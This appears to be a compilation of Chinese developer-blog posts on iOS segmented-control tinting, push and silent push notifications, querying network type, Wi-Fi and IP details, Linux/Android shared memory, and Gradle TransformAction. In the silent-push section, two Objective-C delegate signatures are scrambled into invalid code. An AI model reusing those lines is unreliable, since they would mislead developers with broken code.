适配代码如下:

if ( @available(iOS 13.0, *)) {
self.segmentedControl.selectedSegmentTintColor = [UIColor yellowcolor];
} else {
self.segmentedControl.tintColor = [UIColor yellowcolor];
}
作者:枫叶无处漂泊
链接:https://www.jianshu.com/p/acde9bc3fc97
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

iOS推送通知及静默推送相关

iOS
    在IOS推送服务中,Apple提供了两种不同方式的推送形式,一种是在通知栏上面显示的推送;另一种则是不带消息提醒的推送,俗称“静默消息”。1. 普通推送和静默推送的区别      &...
继续阅读 »

    在IOS推送服务中,Apple提供了两种不同方式的推送形式,一种是在通知栏上面显示的推送;另一种则是不带消息提醒的推送,俗称“静默消息”。

1. 普通推送和静默推送的区别

        普通推送:收到推送后(有文字有声音),点开通知,进入APP后,才执行

- (void)application:(UIApplication didReceiveRemoteNotification:(NSDictionary fetchCompletionHandler:(void result))handler *)application *)userInfo (^)(UIBackgroundFetchResult


        静默推送:(Silent Push)并不是必须要“静默”(通常是没有文字没有声音),只要推送payload中aps字典里包含了"content-available": 1的键值对,都具有静默推送的特性,不用点开通知,不用打开APP,就能执行

-(void)application:(UIApplication )application)userInfo didReceiveRemoteNotification:(NSDictionary fetchCompletionHandler:(void (^)(UIBackgroundFetchResultresult))handler


用户完全感觉不到所以静默推送又被我们称做 Background Remote Notification(后台远程推送)。

        静默推送是在iOS7之后推出的一种推送方式。它与其他推送的区别在于允许应用收到通知后在后台(background)状态下运行一段代码,可用于从服务器获取内容更新。

PS:注册消息通知时通常的弹窗询问权限有什么用呢?其实只是请求用户允许在推送通知到来时能够有alert, badge和sound,而并不是在请求注册推送本身的权限。静默推送即使用户不允许应用的推送,静默推送依然会送达用户设备,只是不会有alert, badge和sound。这也符合静默推送的正常使用场景。



2. 远程推送时 , 应用的几种状态及对应回调方法

     (1) . 应用开启时 , 应用在前台

     (2) . 应用开启时 , 应用在后台

     (3) . 应用未启动(应用被杀死)

从苹果APNS服务器远程推送时:

不使用时(iOS10以后可用)

1 . 如果应用处于 (1) 状态 , 则不会发出声音 , 会直接调用appDelegate的代理方法didReceiveRemoteNotification(didReceiveRemoteNotification:fetchCompletionHandler:)

2 . 如果应用处于 (2) 状态 , 则会发出提示音, 点击推送消息 , 则会调用appDelegate的代理方法didReceiveRemoteNotification

3 . 如果应用处于 (3) 状态,则会发出提示音 , 点击推送消息 , 则会开启应用 , 在下面这个方法中会带上launchOptions这个参数,如果实现了application:didReceiveRemoteNotification:fetchCompletionHandler:这个方法,则还会调用这个方法

注:didReceiveRemoteNotification指以下两个方法。两个方法互斥。在两方法都实现的情况下方法2优先级高

1. - (void)application:(UIApplication *)application didReceiveRemoteNotification:(NSDictionary *)userInfo

2. - (void)application:(UIApplication *)application didReceiveRemoteNotification:(NSDictionary *)userInfo fetchCompletionHandler:(void (^)(UIBackgroundFetchResult))completionHandler


iOS10使用

1 . 如果应用处于 (1) 状态 , 会发出声音 , 会直接调用appDelegate的代理方法userNotificationCenter:willPresentNotification:withCompletionHandler

2 . 如果应用处于 (2) 状态 , 则会发出提示音, 点击推送消息 , 则会调用appDelegate的代理方法

userNotificationCenter:didReceiveNotificationResponse:withCompletionHandler

3 . 如果应用处于 (3) 状态,则会发出提示音 , 点击推送消息 , 则会开启应用 , 在下面这个方法中会带上launchOptions这个参数,如果实现了userNotificationCenter:didReceiveNotificationResponse:withCompletionHandler这个方法,则还会调用这个方法



2. 静默推送及app的状态切换

        在大多数情况下,启动一个app后都是进入前台,比如我们点击应用图标或点推送通知来启动应用。其实app在某些后台事件和特定条件下是可以直接启动到后台(launch into the background)的。

    2.1 应用状态之一Suspended

        这种状态其实和Background类似,而且从用户角度讲应用现在看起来确实是在“后台”,但它和Background状态不同的是Suspended下已经不能执行代码了。应用何时会进Suspended就是玄学了,这是由iOS系统自动控制的,而且不会有任何回调,可以看到UIApplicationDelegate里并没有像applicationWillBecomeSuspended:这种东西。这种状态下的应用虽然还在内存中,但是一旦设备内存吃尽,比如开了炉石传说的游戏,那么系统就会优先干掉(文档上用的是purge这个词)处于Suspended状态的应用,而且也不会有回调。

    2.2 应用启动到前台的生命周期(以点击应用图标开始)

    AppDelegate中走的回调方法 

 · application:willFinishLaunchingWithOptions:

· application:didFinishLaunchingWithOptions:

· applicationDidBecomeActive:


    静默推送可以使应用启动到后台

        前提是应用先被退到后台,过一段时间被系统移入Suspended状态,然后又被系统在内存吃紧时回收了内存(相当于应用已经被系统正当杀掉,而非用户双击Home键杀掉),在这以后,该应用收到静默推送即会启动应用到后台。

    AppDelegate中走的回调方法变为

 · application:willFinishLaunchingWithOptions:

· application:didFinishLaunchingWithOptions:

· applicationDidEnterBackground:


        这个过程中,系统不会显示应用的window,就是说我们不会看到手机屏幕上突然鬼畜一下应用启动,但是应用的第一屏会被加载和渲染,比如你的window.rootViewController是一个TabBarController,那么它及其默认选中的selectedViewController都会被加载和渲染。这是因为系统认为在后台执行完任务后可能会有UI上的更新,所以在applicationDidEnterBackground:方法执行结束后便会有个快速的截图,来更新用户双击Home时看到的那个应用截图。


3. 收到静默推送时的后续该如何处理。

        application:didReceiveRemoteNotification:fetchCompletionHandler:

        这是应用收到静默推送的回调方法,我们最多有30s的时间来处理数据,比如静默推送表示某个列表或资源有更新,你可以在此处下载数据,在下载处理完数据后需要尽快调用completionHandler(...)告诉系统处理完毕。

- (void)application:(UIApplication *)application didReceiveRemoteNotification:(NSDictionary *)userInfo fetchCompletionHandler:(void (^)(UIBackgroundFetchResult))completionHandler {

[Downloader fetchData:^(id x){ // 处理数据,更新UI 等

completionHandler(UIBackgroundFetchResultNewData);

}];

}


        如果这次是启动到后台的情况,调用completionHandler(...)后会使应用马上进入之前的状态。那就有可能遇到这样的问题:很多时候我们需要在启动时发送一堆业务上的API请求,如果这次静默推送没有数据需要下载和处理,就会刚把启动处的API请求发出,就调用了completionHandler(...),导致发出的这些请求在下次打开应用时显示超时。这种情况下我们可以强行延时下completionHandler(...)的调用,来保证能在这次收到那些API的返回。

dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(5 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{

completionHandler(UIBackgroundFetchResultNoData);

});



4. 静默推送


应用想收到静默推送需要满足的条件:

1.应用在前台/后台 (应用被杀死就收不到了)

2.应用实现了

application:didReceiveRemoteNotification:fetchCompletionHandler:/application:didReceiveRemoteNotification:

3. 消息定义时需设置:"content-available" = 1

流程:

  1. 移动端注册消息,向APNs服务器获取deviceToken,并提交给后台保存;

  2. 后台定义消息,并推送给APNs服务器。APNs根据deviceToken做分发。

  3. 移动端收到推送消息后的逻辑处理。

消息定义示例:

特殊说明:

1. APNS去掉alert、badge、sound字段实现静默推送,增加增加字段"content-available":1,也可以在后台做一些事情。

//静默推送消息格式

{

"aps":{

"alert":"",

"content-available":1

},

"userInfo":"test"

}


*/

小结:

1.应用在后台/前台/被杀死,都可以收到普通的远程推送

2.应用在后台/前台时,可以通过静默推送,修改一些数据

3.应用被杀死时(相当于应用已经被系统正当杀掉,而非用户双击Home键杀掉),可以通过Background Fetch短时间唤醒应用



作者:Aliv丶Zz
链接:https://www.jianshu.com/p/0275d9a9592b
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

iOS获取设备的网络状态(已适配iOS13,iOS14无变化)

iOS
前言 小编最近在项目中遇到了一个问题,除刘海屏以外的iOS设备可以正常的搜索到硬件设备,但是刘海屏就不行。因此,小编花了一点时间研究了一下iOS设备获取当前设备的网络状态。 实现 因为iOS的系统是封闭的,所以是没有直接的APi去获取当前的网络状态。但是道高一...
继续阅读 »

前言


小编最近在项目中遇到了一个问题,除刘海屏以外的iOS设备可以正常的搜索到硬件设备,但是刘海屏就不行。因此,小编花了一点时间研究了一下iOS设备获取当前设备的网络状态。


实现


因为iOS的系统是封闭的,所以是没有直接的APi去获取当前的网络状态。但是道高一尺,魔高一尺。开发者总会有办法获取自己想要的东西。


1.网络状态获取


获取当前的网络类型

获取当前的网络类型是通过获取状态栏,然后遍历状态栏的视图完成的。

先导入头文件,如下:

#import "AppDelegate.h"

实现方法如下:

+ (NSString *)getNetworkType
{
UIApplication *app = [UIApplication sharedApplication];
id statusBar = nil;
// 判断是否是iOS 13
NSString *network = @"";
if (@available(iOS 13.0, *)) {
UIStatusBarManager *statusBarManager = [UIApplication sharedApplication].keyWindow.windowScene.statusBarManager;

#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Wundeclared-selector"
if ([statusBarManager respondsToSelector:@selector(createLocalStatusBar)]) {
UIView *localStatusBar = [statusBarManager performSelector:@selector(createLocalStatusBar)];
if ([localStatusBar respondsToSelector:@selector(statusBar)]) {
statusBar = [localStatusBar performSelector:@selector(statusBar)];
}
}
#pragma clang diagnostic pop

if (statusBar) {
// UIStatusBarDataCellularEntry
id currentData = [[statusBar valueForKeyPath:@"_statusBar"] valueForKeyPath:@"currentData"];
id _wifiEntry = [currentData valueForKeyPath:@"wifiEntry"];
id _cellularEntry = [currentData valueForKeyPath:@"cellularEntry"];
if (_wifiEntry && [[_wifiEntry valueForKeyPath:@"isEnabled"] boolValue]) {
// If wifiEntry is enabled, is WiFi.
network = @"WIFI";
} else if (_cellularEntry && [[_cellularEntry valueForKeyPath:@"isEnabled"] boolValue]) {
NSNumber *type = [_cellularEntry valueForKeyPath:@"type"];
if (type) {
switch (type.integerValue) {
case 0:
// 无sim卡
network = @"NONE";
break;
case 1:
network = @"1G";
break;
case 4:
network = @"3G";
break;
case 5:
network = @"4G";
break;
default:
// 默认WWAN类型
network = @"WWAN";
break;
}
}
}
}
}else {
statusBar = [app valueForKeyPath:@"statusBar"];

if ([[[self alloc]init]isLiuHaiScreen]) {
// 刘海屏
id statusBarView = [statusBar valueForKeyPath:@"statusBar"];
UIView *foregroundView = [statusBarView valueForKeyPath:@"foregroundView"];
NSArray *subviews = [[foregroundView subviews][2] subviews];

if (subviews.count == 0) {
// iOS 12
id currentData = [statusBarView valueForKeyPath:@"currentData"];
id wifiEntry = [currentData valueForKey:@"wifiEntry"];
if ([[wifiEntry valueForKey:@"_enabled"] boolValue]) {
network = @"WIFI";
}else {
// 卡1:
id cellularEntry = [currentData valueForKey:@"cellularEntry"];
// 卡2:
id secondaryCellularEntry = [currentData valueForKey:@"secondaryCellularEntry"];

if (([[cellularEntry valueForKey:@"_enabled"] boolValue]|[[secondaryCellularEntry valueForKey:@"_enabled"] boolValue]) == NO) {
// 无卡情况
network = @"NONE";
}else {
// 判断卡1还是卡2
BOOL isCardOne = [[cellularEntry valueForKey:@"_enabled"] boolValue];
int networkType = isCardOne ? [[cellularEntry valueForKey:@"type"] intValue] : [[secondaryCellularEntry valueForKey:@"type"] intValue];
switch (networkType) {
case 0://无服务
network = [NSString stringWithFormat:@"%@-%@", isCardOne ? @"Card 1" : @"Card 2", @"NONE"];
break;
case 3:
network = [NSString stringWithFormat:@"%@-%@", isCardOne ? @"Card 1" : @"Card 2", @"2G/E"];
break;
case 4:
network = [NSString stringWithFormat:@"%@-%@", isCardOne ? @"Card 1" : @"Card 2", @"3G"];
break;
case 5:
network = [NSString stringWithFormat:@"%@-%@", isCardOne ? @"Card 1" : @"Card 2", @"4G"];
break;
default:
break;
}

}
}

}else {

for (id subview in subviews) {
if ([subview isKindOfClass:NSClassFromString(@"_UIStatusBarWifiSignalView")]) {
network = @"WIFI";
}else if ([subview isKindOfClass:NSClassFromString(@"_UIStatusBarStringView")]) {
network = [subview valueForKeyPath:@"originalText"];
}
}
}

}else {
// 非刘海屏
UIView *foregroundView = [statusBar valueForKeyPath:@"foregroundView"];
NSArray *subviews = [foregroundView subviews];

for (id subview in subviews) {
if ([subview isKindOfClass:NSClassFromString(@"UIStatusBarDataNetworkItemView")]) {
int networkType = [[subview valueForKeyPath:@"dataNetworkType"] intValue];
switch (networkType) {
case 0:
network = @"NONE";
break;
case 1:
network = @"2G";
break;
case 2:
network = @"3G";
break;
case 3:
network = @"4G";
break;
case 5:
network = @"WIFI";
break;
default:
break;
}
}
}
}
}

if ([network isEqualToString:@""]) {
network = @"NO DISPLAY";
}
return network;
}
获取当前的Wifi信息

获取当前的Wifi信息需要借助系统的SystemConfiguration这个库。
先导入头文件,如下:

#import <SystemConfiguration/CaptiveNetwork.h>

实现方法如下:

#pragma mark 获取Wifi信息
+ (id)fetchSSIDInfo
{
NSArray *ifs = (__bridge_transfer id)CNCopySupportedInterfaces();
id info = nil;
for (NSString *ifnam in ifs) {
info = (__bridge_transfer id)CNCopyCurrentNetworkInfo((__bridge CFStringRef)ifnam);

if (info && [info count]) {
break;
}
}
return info;
}
#pragma mark 获取WIFI名字
+ (NSString *)getWifiSSID
{
return (NSString *)[self fetchSSIDInfo][@"SSID"];
}
#pragma mark 获取WIFI的MAC地址
+ (NSString *)getWifiBSSID
{
return (NSString *)[self fetchSSIDInfo][@"BSSID"];
}
获取当前的Wifi信号强度

获取信号强度与获取网络状态有点类似,通过遍历状态栏,从而获取WIFI图标的信号强度。在获取前需注意当前状态是否为WIFI。如下:

+ (int)getWifiSignalStrength{

int signalStrength = 0;
// 判断类型是否为WIFI
if ([[self getNetworkType]isEqualToString:@"WIFI"]) {
// 判断是否为iOS 13
if (@available(iOS 13.0, *)) {
UIStatusBarManager *statusBarManager = [UIApplication sharedApplication].keyWindow.windowScene.statusBarManager;

id statusBar = nil;
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Wundeclared-selector"
if ([statusBarManager respondsToSelector:@selector(createLocalStatusBar)]) {
UIView *localStatusBar = [statusBarManager performSelector:@selector(createLocalStatusBar)];
if ([localStatusBar respondsToSelector:@selector(statusBar)]) {
statusBar = [localStatusBar performSelector:@selector(statusBar)];
}
}
#pragma clang diagnostic pop
if (statusBar) {
id currentData = [[statusBar valueForKeyPath:@"_statusBar"] valueForKeyPath:@"currentData"];
id wifiEntry = [currentData valueForKeyPath:@"wifiEntry"];
if ([wifiEntry isKindOfClass:NSClassFromString(@"_UIStatusBarDataIntegerEntry")]) {
// 层级:_UIStatusBarDataNetworkEntry、_UIStatusBarDataIntegerEntry、_UIStatusBarDataEntry

signalStrength = [[wifiEntry valueForKey:@"displayValue"] intValue];
}
}
}else {
UIApplication *app = [UIApplication sharedApplication];
id statusBar = [app valueForKey:@"statusBar"];
if ([[[self alloc]init]isLiuHaiScreen]) {
// 刘海屏
id statusBarView = [statusBar valueForKeyPath:@"statusBar"];
UIView *foregroundView = [statusBarView valueForKeyPath:@"foregroundView"];
NSArray *subviews = [[foregroundView subviews][2] subviews];

if (subviews.count == 0) {
// iOS 12
id currentData = [statusBarView valueForKeyPath:@"currentData"];
id wifiEntry = [currentData valueForKey:@"wifiEntry"];
signalStrength = [[wifiEntry valueForKey:@"displayValue"] intValue];
// dBm
// int rawValue = [[wifiEntry valueForKey:@"rawValue"] intValue];
}else {
for (id subview in subviews) {
if ([subview isKindOfClass:NSClassFromString(@"_UIStatusBarWifiSignalView")]) {
signalStrength = [[subview valueForKey:@"_numberOfActiveBars"] intValue];
}
}
}
}else {
// 非刘海屏
UIView *foregroundView = [statusBar valueForKey:@"foregroundView"];

NSArray *subviews = [foregroundView subviews];
NSString *dataNetworkItemView = nil;

for (id subview in subviews) {
if([subview isKindOfClass:[NSClassFromString(@"UIStatusBarDataNetworkItemView") class]]) {
dataNetworkItemView = subview;
break;
}
}

signalStrength = [[dataNetworkItemView valueForKey:@"_wifiStrengthBars"] intValue];

return signalStrength;
}
}
}
return signalStrength;
}

2.Reachability的使用

下载开源类Reachability,然后根据文档使用即可(该类把移动网络统称为WWAN):+ (NSString *)getNetworkTypeByReachability

{
NSString *network = @"";
switch ([[Reachability reachabilityForInternetConnection]currentReachabilityStatus]) {
case NotReachable:
network = @"NONE";
break;
case ReachableViaWiFi:
network = @"WIFI";
break;
case ReachableViaWWAN:
network = @"WWAN";
break;
default:
break;
}
if ([network isEqualToString:@""]) {
network = @"NO DISPLAY";
}
return network;
}

上次发布了这篇文章之后,有人问我,怎么才能获取设备的IP地址呢?在这里,小编附上获取iP地址的方法。
先导入头文件,如下:

#import <ifaddrs.h>
#import <arpa/inet.h>

实现方法,如下:

#pragma mark 获取设备IP地址
+ (NSString *)getIPAddress
{
NSString *address = @"error";
struct ifaddrs *interfaces = NULL;
struct ifaddrs *temp_addr = NULL;
int success = 0;
// 检索当前接口,在成功时,返回0
success = getifaddrs(&interfaces);
if (success == 0) {
// 循环链表的接口
temp_addr = interfaces;
while(temp_addr != NULL) {
// 开热点时本机的IP地址
if ([[NSString stringWithUTF8String:temp_addr->ifa_name] isEqualToString:@"bridge100"]
) {
address = [NSString stringWithUTF8String:inet_ntoa(((struct sockaddr_in *)temp_addr->ifa_addr)->sin_addr)];
}
if(temp_addr->ifa_addr->sa_family == AF_INET) {
// 检查接口是否en0 wifi连接在iPhone上
if([[NSString stringWithUTF8String:temp_addr->ifa_name] isEqualToString:@"en0"]) {
// 得到NSString从C字符串
address = [NSString stringWithUTF8String:inet_ntoa(((struct sockaddr_in *)temp_addr->ifa_addr)->sin_addr)];
}
}
temp_addr = temp_addr->ifa_next;
}
}
// 释放内存
freeifaddrs(interfaces);
return address;
}


收起阅读 »

神奇的共享内存

前言 共享内存(shared memory)是最常见的ipc进程之间通讯的方式之一了,很多linux书籍上,都将共享内存评价为“最有用的ipc机制”,就连Binder机制盛行的android体系,同样也离不开共享内存的应用!在所以ipc方式中,共享内存以“快”...
继续阅读 »

前言


共享内存(shared memory)是最常见的ipc进程之间通讯的方式之一了,很多linux书籍上,都将共享内存评价为“最有用的ipc机制”,就连Binder机制盛行的android体系,同样也离不开共享内存的应用!在所以ipc方式中,共享内存以“快”赢得了很多开发者的掌声,我们下面深入看看!


共享内存相关函数


image.png
首先讲到共享内存,那么肯定离不开要介绍几个函数


shmget


int shmget(key_t key, size_t size, int shmflg);

shmget函数用来获取一个内存区的ipc标识,这个标识在内核中,属于一个身份标识符号(ipc标识符,正常情况下是不会重复的,但是标识符也有限制的,比如linux2.4最大为32768,用完了就会重新计算),通过shmget调用,会返回给我们当前的ipc标识,如果这个共享内存区本来就不存在,就直接创建,否则就把当前标识直接返回给我们!说了一大堆,其实很简单,就相当于给我们返回了一个代表该共享内存的标识罢了!


shmat


void *shmat(int shmid, const void *shmaddr, int shmflg);

shmat把一个共享内存区域添加到进程上,我们之前在mmap这一章节有提到过线性区的概念,就是进程可用的一组地址(可以用,但是用的时候才真正分配),而shmat就把共享内存的这块地址,通过(shmid shmget可以获取到的)放到了进程中的可用地址范围内,用范围内的合适地址(shmaddr这里指进程想要发生映射的可用地址)指向了共享内存实际的地址,可以见上图!


shmdt


int shmdt(const void *shmaddr);

用于从当前进程把指定的共享内存shmaddr地址分离出去,这里只是分离,只是从当前进程中不可见了,但是对于其他进程来说,还是依旧存在的,再拿上面的图举例子,如果进程1中调用了shmadt,那么当前状态就如下图所示


image.png
同时这里有个非常需要注意的点,就是就算共享内存没有被其他任何进程使用,它所占有的页也是不能直接被删除的,只能用“页的换出”操作代替不用的页(留个疑问,后文解析)


image.png
当然,为了避免用户态过程中共享内存的过分创建,一般的限制大小为4096个


共享内存本质


看到这里的朋友,包括我,一定会想问,共享内存最本质是个什么东西呀?为什么linux会创建处理这么一个神奇的东西?在这里我可以告诉大家,共享内存其实就是一个“文件”!不光如此,我们所熟知的ipc方式,比如管道,消息队列,共享内存,其实就是对文件的操作!我的天,我们嗤之以鼻的“文件”,最不起眼不被用的ipc方式,只是换了个名称,就让大家高攀不起了!是的,共享内存的本质,其实就是shm特殊文件系统的一个文件罢了!因为shm文件系统在linux系统中没有安装点,即没有可视化的文件路径,普通用户无法“看到”或者“摸到”,就给我们产生了一个错觉,以为是一个很高深的东西,其实并没有啦!一个共享内存,其实就是一个文件,只不过这个文件我们看不到罢了,但是linux内核能看到,就这么简单!(以后面试官问到ipc有哪些,回答“文件”即可哈哈哈,手动狗头)


那么接下来又有一个问题了,为什么一个文件能有这么大的奇效,我们常说的共享内存只需要一次拷贝(假如进程a写入到进程b可见算一次)呀,面试官还经常问我们呢!一个小小文件怎么做到的?没错,没错!就是mmap搞得鬼呀!属于共享内存的这个文件,在进程中其实就是使用了mmap操作,把进程的地址映射到了这个文件,所以写入一次就对其他同样进行mmap的进程可见罢了!这个mmap,是通过shm_mmap函数实现的(细节可看官网,这里就不贴出来了)最后我们再看一下共享内存的核心数据结构,shmid_kernel


struct shmid_kernel /* private to the kernel */
{
struct kern_ipc_perm shm_perm; //描述进程间通信许可的结构
struct file * shm_file; //指向共享内存文件的指针
unsigned long shm_nattch; //挂接到本段共享内存的进程数
unsigned long shm_segsz; //段大小
time_t shm_atim; //最后挂接时间
time_t shm_dtim; //最后解除挂接时间
time_t shm_ctim; //最后变化时间
pid_t shm_cprid; //创建进程的PID
pid_t shm_lprid;//最后使用进程的PID

....
};

共享内存页回收问题


我们刚刚留下了一个疑问点,就是共享内存的页就算没有进程引用,也不能被直接删除,而是采用换出的方式!为什么不能被删除呢?因为在正常情况下,linux内核中对于页删除有比较严格的判断,页被删除的前提需要页被标记被脏,触发磁盘写回的操作,然后才会从删除这个页!但是共享内存的页其实在磁盘上是没有存在映射的索引节点的,因此写回磁盘这个操作前提就不成立,所以正常的处理是这个页会被保留,但是页的内容会被其他有需要的页的“伙伴”被复用,做到只是数据的删除页不删除!这是需要注意的点!当然,在紧急内存不足的情况下,系统也会调用try_to_swap_out方法,回收一般页,但是共享内存的页会有定制的shmem_write_page,会进行页的copy操作,防止了属于共享内存的页被“直接删除”。


Android中的共享内存


Android中也有很多地方用到了共享内存,比如ContentProvider中数据的交换,比如CursorWindow的数据交换,里面其实就是利用了共享内存。还有就是传递给SurfaceFlinger的渲染数据,也就是通过共享内存完成的。之所以使用共享内存,还是得益于共享内存的设计,效率较高且没有像管道这种多拷贝的情况,不使用Binder是也是因为Binder依赖的Parcel数据传输,在大数据上并没有很大的优势!当然,相比于Binder,共享内存算是作为最底层api,并没有提供同步机制!当然,Binder同时也用了mmap(binder_mmap),在这基础上通过mutex_lock进行了同步机制,算是比共享内存有了更加契合Android的设计


image.png


总结


看完这里,应该都会用共享内存进行我们所需的开发了,无论是Binder还是共享内存,只有在合适自己的场合使用,才能获得最大收益!最后!


image.png


作者:Pika
链接:https://juejin.cn/post/7131333107696795678
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

Transform 被废弃,TransformAction 了解一下~

前言 Transform API 是 AGP1.5 就引入的特性,主要用于在 Android 构建过程中,在 Class转Dex的过程中修改 Class 字节码。利用 Transform API,我们可以拿到所有参与构建的 Class 文件,然后可以借助ASM...
继续阅读 »

前言


Transform APIAGP1.5 就引入的特性,主要用于在 Android 构建过程中,在 ClassDex的过程中修改 Class 字节码。利用 Transform API,我们可以拿到所有参与构建的 Class 文件,然后可以借助ASM 等字节码编辑工具进行修改,插入自定义逻辑。


国内很多团队都或多或少的用 AGPTransform API 来搞点儿黑科技,比如无痕埋点,耗时统计,方法替换等。但是在AGP7.0Transform已经被标记为废弃了,并且将在AGP8.0中移除。


Transrom被废弃之后,它的代替品则是Transform Action,它是由Gradle提供的产物变换API


Transform API是由AGP提供的,而Transform Action则是由Gradle提供。不光是 AGP 需要 TransformJava 也需要,所以由 Gradle 来提供统一的 Transform API 也合情合理。


当然如果你只是想利用ASM对字节码插桩,AGP提供了对基于TransformActionASM插桩的封装,只需要使用AsmClassVisitorFactory即可,关于具体的使用可见:Transform 被废弃,ASM 如何适配?


而本文主要包括以下内容:



  1. TransformAction是什么?

  2. 如何自定义TransformAction

  3. TransformActionAGP中的应用


TransformAction是什么?


简单来说,TransformAction就是Gradle提供的产物转换API,可以注册两个属性间的转换Action,将依赖从一个状态切换到另一个状态


我们在项目中的依赖,可能会有多个变体,例如,一个依赖可能有以下两种变体:classesorg.gradle.usage=java-api, org.gradle.libraryelements=classes )或JARorg.gradle.usage=java-api, org.gradle.libraryelements=jar)


它们的主要区别就在于,一个的产物是jar,一个则是classes(类目录)


Gradle解析配置时,解析的配置上的属性将确定请求的属性,并选中匹配属性的变体。例如,当配置请求org.gradle.usage=java-api, org.gradle.libraryelements=classes时,就会选择classes目录作为输入。


但是如果依赖项没有所请求属性的变体,那么解析配置就会失败。有时我们可以将依赖项的产物转换为请求的变体。


例如,解压缩JarTranformAction会将 java-api,jars转换为java-api,classes变体。

这种转换可以对依赖的产物进行转换,所以称为“产物转换” 。Gradle允许注册产物转换,并且当依赖项没有所请求的变体时,Gradle将尝试查找一系列产物转换以创建变体。


TransformAction选择和执行逻辑


如上所述,当Gradle解析配置并且配置中的依赖关系不具有带有所请求属性的变体时,Gradle会尝试查找一系列TransformAction以创建变体。


每个注册的转换都是从一组属性转换为一组属性。例如,解压缩转换可以从org.gradle.usage=java-api, org.gradle.libraryelements=jars转换至org.gradle.usage=java-api, org.gradle.libraryelements=classes


为了找到一条这样的链,Gradle从请求的属性开始,然后将所有修改某些请求的属性的TransformAction视为通向那里的可能路径。


例如,考虑一个minified属性,它有两个值: truefalseminified属性表示是否删除了不必要的类文件。


如果我们的依赖只有minified=false的变体,并且我们的配置中请求了minified=true的属性,如果我们注册了minify的转换,那么它就会被选中


在找到的所有变换链中,Gradle尝试选择最佳的变换链:



  1. 如果只有一个转换链,则选择它。

  2. 如果有两个变换链,并且一个是另一个的后缀,则将其选中。

  3. 如果存在最短的变换链,则将其选中。

  4. 在所有其他情况下,选择将失败并报告错误。


同时还有两个特殊情况:



  1. 当已经存在与请求属性匹配的依赖项变体时,Gradle不会尝试选择产物转换。

  2. artifactType属性是特殊的,因为它仅存在于解析的产物上,而不存在于依赖项上。因此任何只变换artifactTypeTransformAction,只有在使用ArtifactView时才会考虑使用


自定义TransformAction


下面我们就以自定义一个MinifyTransform为例,来看看如何自定义TransformAction,主要用于过滤产物中不必要的文件


定义TransformAction


abstract class Minify : TransformAction<Minify.Parameters> {   // (1)
interface Parameters : TransformParameters { // (2)
@get:Input
var keepClassesByArtifact: Map<String, Set<String>>

}

@get:PathSensitive(PathSensitivity.NAME_ONLY)
@get:InputArtifact
abstract val inputArtifact: Provider<FileSystemLocation>

override
fun transform(outputs: TransformOutputs) {
val fileName = inputArtifact.get().asFile.name
for (entry in parameters.keepClassesByArtifact) { // (3)
if (fileName.startsWith(entry.key)) {
val nameWithoutExtension = fileName.substring(0, fileName.length - 4)
minify(inputArtifact.get().asFile, entry.value, outputs.file("${nameWithoutExtension}-min.jar"))
return
}
}
println("Nothing to minify - using ${fileName} unchanged")
outputs.file(inputArtifact) // (4)
}

private fun minify(artifact: File, keepClasses: Set<String>, jarFile: File) {
println("Minifying ${artifact.name}")
// Implementation ...
}
}

代码很简单,主要分为以下几步:



  1. 实现TransformAction接口并声明参数类型

  2. 实现参数接口,实现自定义参数

  3. 获取输入并实现transform逻辑

  4. 输出变换结果,当不需要变换时直接将输入作为变换结果


其实一个TransformAction主要就是输入,输出,变换逻辑三个部分


注册TransformAction


接下来就是注册了,您需要注册TransformAction,并在必要时提供参数,以便在解析依赖项时可以选择它们


val artifactType = Attribute.of("artifactType", String::class.java)
val minified = Attribute.of("minified", Boolean::class.javaObjectType)

val keepPatterns = mapOf(
"guava" to setOf(
"com.google.common.base.Optional",
"com.google.common.base.AbstractIterator"
)
)

dependencies {
attributesSchema {
attribute(minified) // <1>
}
artifactTypes.getByName("jar") {
attributes.attribute(minified, false) // <2>
}
}

configurations.all {
afterEvaluate {
if (isCanBeResolved) {
attributes.attribute(minified, true) // <3>
}
}
}

dependencies { // (4)
implementation("com.google.guava:guava:27.1-jre")
implementation(project(":producer"))
}

dependencies {
registerTransform(Minify::class) { // <5>
from.attribute(minified, false).attribute(artifactType, "jar")
to.attribute(minified, true).attribute(artifactType, "jar")

parameters {
keepClassesByArtifact = keepPatterns
// Make sure the transform executes each time
timestamp = System.nanoTime()
}
}
}

tasks.register<Copy>("resolveRuntimeClasspath") {
from(configurations.runtimeClasspath)
into(layout.buildDirectory.dir("runtimeClasspath"))
}

注册TransformAction也分为以下几步:



  1. 添加minified属性

  2. 将所有JAR文件的minified属性设置为false

  3. 在所有可解析的配置上设置请求的属性为minified=true

  4. 添加将要转换的依赖项

  5. 注册Transformaction,设置fromto的属性,并且传递自定义参数


运行TransformAction


在定义与注册了TransformAction之后,下一步就是运行了


上面我们自定义了resolveRuntimeClasspathTask,Minify转换会在我们请求minified=true的变体时调用


当我们运行gradle resolveRuntimeClasspath时就可以得到如下输出


> Task :resolveRuntimeClasspath
Nothing to minify - using jsr305-3.0.2.jar unchanged
Minifying guava-27.1-jre.jar
Nothing to minify - using failureaccess-1.0.1.jar unchanged
Nothing to minify - using listenablefuture-9999.0-empty-to-avoid-conflict-with-guava.jar unchanged
Nothing to minify - using j2objc-annotations-1.1.jar unchanged
Nothing to minify - using checker-qual-2.5.2.jar unchanged
Nothing to minify - using error_prone_annotations-2.2.0.jar unchanged
Nothing to minify - using animal-sniffer-annotations-1.17.jar unchanged

可以看出,当我们执行task的时候,gradle自动调用了TransformAction,对guava.jar进行了变换,并将结果存储在layout.buildDirectory.dir("runtimeClasspath")


变换ArtifactTypeTransformAction


上文提到,artifactType属性是特殊的,因为它仅存在于解析的产物上,而不存在于依赖项上。因此任何只变换artifactTypeTransformAction,只有在使用ArtifactView时才会考虑使用


其实在AGP中,相当一部分自定义TransformAction都是属于只变换ArtifactType的,下面我们来看下如何自定义一个这样的TransformAction


class TransformActionPlugin : Plugin<Project> {
override fun apply(project: Project) {
project.run {
val artifactType = Attribute.of("artifactType", String::class.java)
dependencies.registerTransform(MyTransform::class.java) { // 1
it.from.attribute(artifactType, "jar")
it.to.attribute(artifactType, "my-custom-type")
}
